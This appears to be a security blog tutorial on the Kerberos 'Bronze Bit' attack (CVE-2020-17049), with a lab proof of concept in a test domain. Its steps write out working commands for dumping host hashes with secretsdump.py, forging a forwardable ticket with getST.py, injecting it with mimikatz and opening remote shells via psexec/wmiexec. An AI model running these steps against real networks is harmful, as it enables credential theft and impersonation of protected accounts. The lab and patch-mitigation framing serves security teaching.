Bronze Bit Attack
Kerberos Fundamentals
Kerberos is a network authentication protocol that works on the principle of issuing tickets, it allows identifying each user through authentication, but does not validate the privileges that each user has, so each service is responsible for determining whether the user has access or not to yours resources.
Kerberos is mostly used in Active Directory and sometimes in Linux.
Terminology
Some of the most common and necessary terms to understand how the Kerberos protocol works:
- KDC — Key Distribution Center: The KDC is a very important part of the Active Directory infrastructure as it is responsible for authenticating and distributing tickets. In Active Directory environments, the KDC is installed on the domain controller;
- TGT — Ticket Granting Ticket: This is a basic user assigned ticket that each user uses to authenticate to the KDC and issue ticket requests to the TGS, also known as a service ticket;
- TGS — Ticket Granting Service: An authentication subset of the KDC that issues a service ticket after verifying an end-user’s TGT;
- SPN — Service Principal Name: Name of service that integrates with Kerberos protocol.
How it Works?
During the user logon process, an AS-REQ request is sent with the user’s information requesting a TGT ticket to the KDC located on the domain controller; the KDC validates the credentials and returns an AS-REP response containing the TGT ticket. This machine-saved ticket is automatically renewed as long as the user is active.
If the user wants to access a service that implements authentication via Kerberos, the machine looks for the SPN of the desired service and sends it along with the TGT ticket in a TGS-REQ request to the KDC, requesting a TGS service ticket. The KDC proves the ticket TGT and generates a TGS service ticket encrypted with the service’s secret key, returning it in a TGS-REP response, the user uses the TGS service ticket to access the service, this inspects the ticket and decides if the user has authorization or not.
Definition
The “BronzeBit” attack takes advantage of the compromised host’s “Constrained Delegation” relationship to modify a service ticket and use it on the target, abusing delegation relationships and allowing access to the target service with the impersonated user’s account and privileges, even if the target user is protected from delegation and impersonations.
Attack Path
The path for executing the attack usually goes as follows:
- The attacker gains access to some AD member host.
- The attacker gains access to the environment’s service hashes, using DCSync or Kerberoasting techniques.
- The compromised service has a delegation relationship with another service in the environment.
- The attacker uses the exploit to get a ticket directed to the target service.
- The attacker impersonates a user by presenting this ticket to the service, managing to access the target with the impersonated user’s credentials and privileges.
Exploration Operation
Assuming that we already have the hashes of our compromised host, and that host has the delegation relationships for the target host, let’s run the “getST.py” script, present in Impacket (https://github.com/SecureAuthCorp/impacket ).
This script performs S4U protocol operations that requests a service ticket as a specific user for a specific service. If the compromised host has the active delegation relationship, the following operations occur:
With the created ticket, the attacker can impersonate the user and interact with the target service. However, if the compromised host does not have delegations configured or the user is protected from delegations, the intermediate ticket obtained with the S4U protocol will not be forwardable, and the request to the S4U proxy will fail:
So, with the “BronzeBit” technique, we will use the “-force-forwardable” flag present in the “getST.py” script to change the “forwardable” flag bit from 0 to 1, allowing the ticket to be forwardable and the S4U proxy protocol can process and generate a ticket for the target service:
Once the restrictions are bypassed, the attacker can use the ticket to access the target service.
Proof of Concept
Setting up the environment
We have 3 servers in this scenario, using Windows Server 2019 (without the fix patches). The attack comes from a host has already been compromised, for this example, we are using the user “user1” and the host “service1”. Our target will be the user “user2”, which has local admin access on the host “service2”. And we will have an interaction with the DC to get the Kerberos tickets.
The “service1” needs to have the following configuration on the DC:
We need to configure “user2” on the DC and check the option “Account is sensitive and cannot be delegated” in its properties:
And let’s add it to the “Protected Users” group:
Running the attack
Step 1
Inside the host “service1” (assuming that host was previously compromised by the attacker), let’s try to access the host “service2” using the authentication of the user “user1”:
Used commands:
Windows
whoami
ls \\service2.purple.local\c$
Step 2
Using a tool that dumps the system hashes, such as the Impacket script “secretsdump.py”, we will get the keys AES256-CTS-HMAC-SHA1–96 and the hash LM:NTLM for the host account “ service1”:
Used commands:
Windows:
python.exe .\secretsdump.py 'purple/user1:"Mudar@123"*@service1.purple.local'
Linux:
python secretsdump.py purple/user1:Mudar\@\123*@service1.purple.local
Step 3
After obtaining the hashes, we will use the Impacket script “getST.py”, which requests a ticket and saves it in “ccache” format:
As shown in the image, the command fails as the user “user2” is protected by the “Protected Users” group and the service has delegation restrictions. As the ticket does not have the “forwardable” flag active, it does not allow forwarding and we were unable to run the attack.
Used commands:
Windows:
python.exe .\getST.py -spn cifs/service2.purple.local -impersonate user2 -hashes hash -aesKey <AES hash> purple.local/service1
Linux:
python getST.py -spn cifs/service2.purple.local -impersonate user2 -hashes hash -aesKey <AES hash> purple.local/service1
Step 4
After the information obtained by the previous step, we will use the same “getST.py” script, but now we will add the “-force-forwardable” flag to change the ticket allowing forwarding, and we will get the ticket to the target service:
After this process, its possible to bypass the restrictive settings of the user “user2”, which make it impossible to impersonate this user, and bypass the “Account is sensitive and cannot be delegated” setting.
Used commands:
Windows:
python.exe .\getST.py -spn cifs/service2.purple.local -impersonate user2 -hashes hash -aesKey <AES hash> purple.local/service1 -force-forwardable
Linux:
python getST.py -spn cifs/service2.purple.local -impersonate user2 -hashes hash -aesKey <AES hash> purple.local/service1 -force-forwardable
Step 5
Using “mimikatz”, we will inject the ticket generated by the previous step into the system:
After injecting the ticket into the system, we can access host “service2” as if we were the user “user2”, and get all the privileges that “user2” has over host “service2”.
Using Linux, we must create the variable “KRB5CCNAME” and then use “psexec.py” or “wmiexec.py” scripts to access the target host:
Used commands:
Windows:
.\mimikatz.exe "kerberos::ptc user2.ccache" exit
\psexec.exe \\service2.purple.local\ cmd
Note: It was necessary to use version 2.2 of “PsExec” on Windows to succeed in the attack. On Linux, the attack can be carried out with PsExec available in “Impacket”.
Linux:
export KRB5CCNAME=user2.ccache
python wmiexec.py purple.local/user2@service.purple.local -k -no-pass
python psexec.py purple.local/user2@service.purple.local -k -no-pass
Mitigation
To prevent this vulnerability, systems must apply the updates described at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17049.